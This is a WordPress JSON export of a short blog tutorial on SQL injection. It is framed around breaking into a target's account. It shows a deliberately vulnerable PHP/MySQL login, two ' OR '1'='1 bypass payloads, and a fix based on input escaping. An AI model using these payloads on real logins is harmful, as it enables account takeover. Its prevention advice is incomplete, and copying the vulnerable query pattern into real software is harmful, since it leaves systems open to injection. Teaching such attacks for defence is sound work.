{"id":1273,"date":"2018-06-21T12:48:25","date_gmt":"2018-06-21T12:48:25","guid":{"rendered":"http:\/\/www.max-sperling.bplaced.net\/?p=1273"},"modified":"2024-02-20T11:46:03","modified_gmt":"2024-02-20T11:46:03","slug":"sql-injection","status":"publish","type":"post","link":"http:\/\/www.max-sperling.bplaced.net\/?p=1273","title":{"rendered":"SQL Injection"},"content":{"rendered":"<p>If you are trying to get access to an account of a target and your dictionaries aren&#8217;t containing the password, brute force attacks will take to much time and you can&#8217;t sniff the important communication, you can possibly get it done with a sql injection.<\/p>\n<hr>\n<p><strong>Precondition<\/strong><br \/>\nIt has to be an interface which communicates with an sql database in the background, like a user login of a website. If you believe this will give you access to user accounts of a Windows-PC or an Android-Phone then you are wrong, cause they work absolutely different.<\/p>\n<hr>\n<p><strong>Realization<\/strong><br \/>\nLet&#8217;s have a look on a very common example, a login on a HTML\/PHP website with an MySQL database.<\/p>\n<pre class=\"brush: php; gutter: false; title: ; notranslate\" title=\"\">\r\n&lt;html&gt;\r\n   &lt;form method=post action=&quot;&quot;&gt;\r\n      User: &lt;input type=text name=&quot;user&quot;&gt;\r\n      &lt;br&gt;\r\n      Pass: &lt;input type=text name=&quot;pass&quot;&gt;\r\n      &lt;input type=&quot;submit&quot; name=&quot;data&quot;&gt;\r\n   &lt;\/form&gt;\r\n&lt;\/html&gt;\r\n\r\n&lt;?php\r\n   if($_POST[&#039;data&#039;])\r\n   {\r\n      $mysqli = new mysqli(&#039;hostname&#039;, &#039;db_user&#039;, &#039;db_pass&#039;, &#039;db_name&#039;);\r\n      $query = sprintf(&quot;SELECT * FROM users WHERE user=&#039;%s&#039; AND pass=&#039;%s&#039;&quot;,\r\n                        $_POST[&#039;user&#039;], $_POST[&#039;pass&#039;]);\r\n      $result = $mysqli-&gt;query($query);\r\n      \/\/ login the result\r\n   }\r\n?&gt;\r\n<\/pre>\n<p>With the following pass inputs you can get access to every target you have entered in the user input.<\/p>\n<pre class=\"brush: plain; gutter: false; title: ; notranslate\" title=\"\">\r\n&#039; OR &#039;1&#039;=&#039;1\r\n# --&gt; SELECT * FROM users WHERE user=&lt;user&gt; AND pass=&#039;&#039; OR &#039;1&#039;=&#039;1&#039;;\r\n\r\n&#039; OR &#039;1&#039;=&#039;1&#039; --\r\n# --&gt; SELECT * FROM users WHERE user=&lt;user&gt; AND pass=&#039;&#039; OR &#039;1&#039;=&#039;1&#039; --&#039;;\r\n<\/pre>\n<hr>\n<p><strong>Prevention<\/strong><br \/>\nTo make sure sql injection isn&#8217;t possible via your website interface always escape all the inputs.<\/p>\n<pre class=\"brush: php; gutter: false; title: ; notranslate\" title=\"\">\r\n&lt;?php\r\n   if($_POST[&#039;data&#039;])\r\n   {\r\n      $mysqli = new mysqli(&#039;hostname&#039;, &#039;db_user&#039;, &#039;db_pass&#039;, &#039;db_name&#039;);\r\n      $query = sprintf(&quot;SELECT * FROM users WHERE user=&#039;%s&#039; AND pass=&#039;%s&#039;&quot;,\r\n                        $mysqli-&gt;real_escape_string($_POST[&#039;user&#039;]),\r\n                        $mysqli-&gt;real_escape_string($_POST[&#039;pass&#039;]));\r\n      $result = $mysqli-&gt;query($query);\r\n      \/\/ login the result\r\n   }\r\n?&gt;\r\n<\/pre>\n","protected":false},"excerpt":{"rendered":"<p>If you are trying to get access to an account of a target and your dictionaries aren&#8217;t containing the password,<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"inline_featured_image":false},"categories":[26],"tags":[],"_links":{"self":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/1273"}],"collection":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1273"}],"version-history":[{"count":1,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/1273\/revisions"}],"predecessor-version":[{"id":16958,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=\/wp\/v2\/posts\/1273\/revisions\/16958"}],"wp:attachment":[{"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1273"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1273"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.max-sperling.bplaced.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1273"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}